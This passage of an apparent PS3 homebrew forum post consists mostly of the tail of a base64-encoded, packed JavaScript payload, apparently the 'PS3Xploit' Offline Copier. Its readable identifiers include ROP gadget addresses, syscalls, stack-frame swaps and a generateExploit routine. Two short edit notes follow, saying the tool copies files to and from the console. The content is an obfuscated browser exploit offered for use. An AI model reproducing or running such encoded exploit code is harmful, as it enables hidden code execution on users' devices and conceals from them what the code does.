mbGFzaF9wYXJ0aXRpb25fYWRkcnx0ZW1wbGF0ZV8xX2ZpbGVfYmxpbmRfd3JpdGVsZW5fYWRkcnxkaXZ8c3lzY2FsbHxjaGFyQ29kZUF0fGNvbnZlcnR8Y29udmVydGVkU2l6ZXxzdHlsZXxmcmFtZV9mYWlsc3xnYWRnZXRfbW9kMV9hZGRyfGNoZWNrZWR8dHJpZ2dlcnxmb3J8dG9Bc2NpaXwweDUwfDB4MjB8MHg3MHxyZXBsYWNlQXR8bWFnfGNoZWNrTWVtb3J5fGZpbmRKc1ZhcmlhYmxlT2Zmc2V0fGRlYnVnfHdvcmRfc2l6ZXxzdG9yZV9pZHhfYXJyMXxzdG9yZV9pZHhfYXJyMnxmc19hZGRyfG1vdW50X3BhdGhfYWRkcnx0ZW1wbGF0ZV8xX2ZpbGVfdXNiX2FkZHJ8dGVtcGxhdGVfMV9maWxlX3VzYl9yZWFkbGVuX2FkZHJ8dGVtcGxhdGVfMV9maWxlX3VzYmZkX2FkZHJ8dGVtcGxhdGVfMV9maWxlX2JsaW5kX2FkZHJ8fHRlbXBsYXRlXzFfZmlsZV9ibGluZGZkX2FkZHJ8bnVsbF9hZGRyfHN0YXRfYWRkcnx8RmlsZXxzZWxlY3R8c2VsZWN0ZWR8ZGV2X3VzYjAwMHxkZXZfdXNiMDAxfGRldl9oZGQwfGlucHV0fHR5cGV8c2hvd1Jlc3VsdHxmcm9tQ2hhckNvZGV8dG9TdHJpbmd8MDB8cmVwZWF0fHN0cnxNYXRofHBvd3xzcmN8c2F2ZWRfc3RhdF9hZGRyfHNwYW58bWF4X2xvb3BzfHRvY19hZGRyfGdhZGdldF9tb2Q0Yl9hZGRyfHNjX2ZzX2Nsb3NlfHNjX2ZzX29wZW58Z2FkZ2V0X21vZDNfYWRkcnxmbGFzaF9wYXJ0aXRpb258ZmlsZXN5c3RlbXxtb3VudF9wYXRofHJlYm9vdF9zZl9hZGRyfFBTM1hwbG9pdHxieXxzcmNmaWxlfG5hbWV8ZGVzZmlsZXxpbml0Uk9QfHRvZ2dsZWlucHV0fGZhbHNlfHN5c2NhbGxfcjNfcDJwfHN5c2NhbGxfcjNyNV9wMnB8bWVtY3B5fGNhbGxzdWJ8Z2V0Q29tYm9TZWxlY3RlZFZhbHVlfGdldFBhdGh8Z2V0UGF0aDJ8MDAwMHxwdXNofGpvaW58c3Vic3RyaW5nfHJlYWRNZW1vcnl8c2V0VGltZW91dHx0ZW1wbGF0ZV8xX2ZpbGVfdXNifHRlbXBsYXRlXzFfZmlsZV9ibGluZHwweDEwMDB8c3RhcnRfeHxnYWRnZXQxX2FkZHJ8ZnNfZmxhZ19yZWFkb25seXxnYWRnZXRfbW9kOV9hZGRyfHRlbXBsYXRlXzFfZmlsZV9idWZfYWRkcnxnYWRnZXRfbW9kNGNfYWRkcnx8c2NfZnNfd3JpdGV8ZnNfbW9kZXxmc19mbGFnX2NyZWF0ZXxnYWRnZXRfbW9kMTJfYWRkcnxnYWRnZXRfbW9kMTVfYWRkcnxzY19mc19yZWFkfGdhZGdldDhfYWRkcnxzY19mc19zdGF0fGdhZGdldF9tb2Q0YV9hZGRyfGdhZGdldF9tb2Q3X2FkZHJ8Z2FkZ2V0MTJfYWRkcnxzY19zbV9zaHV0ZG93bnxoYXJkX3JlYm9vdHxzY19mc191bW91bnR8ZmFpbF9tc2dfZnJhZ3xmYWlsZWR8cHJvZ3Jlc3NfbXNnX2ZyYWcxfHByb2dyZXNzX21zZ19mcmFnMnxodG1sfHRpdGxlfE9mZmxpbmV8Q29waWVyfGxtbjd8aDJ8U291cmNlfGZpbGV8cGF0aHxjb21ib2ZpbGVQYXRofGRldl9iZHZkfHRleHR8bWF4bGVuZ3RofDIwMHxzaXplfGRhdHxEZXN0aW5hdGlvbnxkZXNwYXRofGxhYmVsfGF1dG9fcmVib290fGZvcm18cmVzdWx0fHNldElubmVySFRNTHxpbm5lckhUTUx8cm9wX2V4aXRfMXZhbHxhdXRvX2Nsb3NlfHdpbmRvd3xjbG9zZXxzdGFja19mcmFtZV9zd2FwfG9wdGlvbmFsX3JlYm9vdF9uZXd8Y29weV9maWxlX292ZXJ3cml0ZXxsb2FkX3IzX3dvcmRfZnJvbV9wdHJfMzJ8cmVib290X2ZyYW1lfGdldEluZGV4fGdldENvbWJvU2VsZWN0ZWRJbmRleHxnZXRWYWx1ZXxnZXRyb290UGF0aHxnZXRyb290UGF0aDJ8aW5pdF9ydW58Y2xlYXJUaW1lb3V0fDcwfHwweDEwMDAwMHx0b0hleDE2fG5ld3xBcnJheXxOdW1iZXJ8bm9FeHBvbmVudHN8c2lnbnxyZXBsYWNlfGZyb21JRUVFNzU0fGdlbmVyYXRlSUVFRTc1NHxnZW5lcmF0ZUV4cGxvaXR8MTAwMHxzdGFja19mcmFtZV9ob29rdXB8dTQxNDF8c3RhY2tfZnJhbWVfZXhpdHx0cmlnZ2VyWHxjb2xvcnxjb3B5fHh4eHh8NzM0MDAzMjB8MjE0ODUzMjIyNHwyMzY1NTg3NDU2fDI0MTMzNTQxNzZ8ZmZzfDQyOTQ5NjcyOTV8MTY3MDV8Ynl0ZV9zaXplfGh3b3JkX3NpemV8MTA0ODU3Nnw3Mjk2MzM2fHRvY19lbnRyeTFfYWRkcnw3MTg1MzYwfHRvY19lbnRyeTJfYWRkcnw3NDk0MjAwfHRvY19lbnRyeTNfYWRkcnw3MTg1MzUyfHRvY19lbnRyeTRfYWRkcnw3NjAyMTc2fHRvY19lbnRyeTVfYWRkcnw3MjU1NzQ0fHRvY19lbnRyeTZfYWRkcnw2MjAwMzZ8Z2FkZ2V0Ml9hZGRyfDYzMzI0ODR8Z2FkZ2V0M19hZGRyfDg3MjU0MHxnYWRnZXQ0X2FkZHJ8MjI2NzE5MnxnYWRnZXQ1X2FkZHJ8MTIyNzU0OHxnYWRnZXQ2X2FkZHJ8NjM4MDYwNHwweDB8MHgwMTBCMjB8MHg4QjAwMDAwMHwweDQyQzc3OHwweDA1NEFGMHwweDMyM3wweDFCNnwweDI0MXwweDYzMzE1Q3x8MHgzOUQwMzh8fDB4MzI0fDB4MzIyfGdhZGdldDdfYWRkcnwxMzEwMjR8MHgzMjF8MHgyOHwxMzEwNzJ8MHgzMjh8NjM1MjY5Nnw4MDc1Nnw3NTcyNDh8ODkwNTAwfDEwODIwNHwyODYyMjY0fHh4eHhDRUxMX0ZTX0lPU3xCVUlMVElOX0ZMU0gxfENFTExfRlNfRkFUfGRldl9ibGluZHwweDBDODY0Q3wweDE3QnwweDEyMDB8MHgzNDV8RXhwbG9pdHxpbml0aWFsaXphdGlvbnxJbml0aWFsaXppbmd8d3JpdGV8cHN4fHBsYWNlfGNvbXxPcmlnaW5hbHxzY3JpcHR8VGVhbXxlc2MwcnRkM3d8Ymd1ZXJ2aWxsZXxoYWJpYnwwMDB8MDAxfGhkZHxiZGR8ZGQwfHUwMHx1MDF8Y2hlY2tib3h8YXJlYm9vdHxBdXRvfFJlYm9vdHxhY3Rpb258YnV0dG9ufEluaXRpYWxpemV8b25jbGlja3xib2R5fGdldEVsZW1lbnRzQnlUYWdOYW1lfElOUFVUfGRpc2FibGVkfGluZGV4T2Z8aWxlfDB4MTh8MHhCMHwweDgwfHNlbGVjdGVkSW5kZXh8b3B0aW9uc3xzcGxpdHxlRXxyZXZlcnNlfE5hTnxJbmZpbml0eXxsb2NhbHxwYXJzZUZsb2F0fE5BTnxmZmZmZXxyb3BfZXhpdHwxMDB8MHgyfGJyZWFrfHN0b3JlX3dvcmR8MHhDNzR8dTJBMkZ8dTJGMkF8aW5pdERlZmF1bHRzfDB4ODAxMDAwMDB8dHJ5fDB4ODAyMDAwMDB8dUZEN0V8MHg3RUZEfDB4MkEyRnx1MDEwMnx1N0VGQnwweDMwfDB4ODI4Mnx1RkI3RXwweDdFRkJ8dTdFRkF8dUZBN0V8MHg3RUZBfDB4ODAwMHxjYXRjaHwyMDAwfGdyZWVufHN1Y2Nlc3NmdWx8cmVkJy5zcGxpdCgnfCcpLDAse30pKQ=="));

Edit: Added proper error handling and progress messages, it's pretty much perfect now ;)

Edit 2: You can now copy files to and from the PS3, as well as copying files from /dev_bdvd. Most of the files copied from here will be encrypted however.
 
Last edited:

Similar threads

Back
Top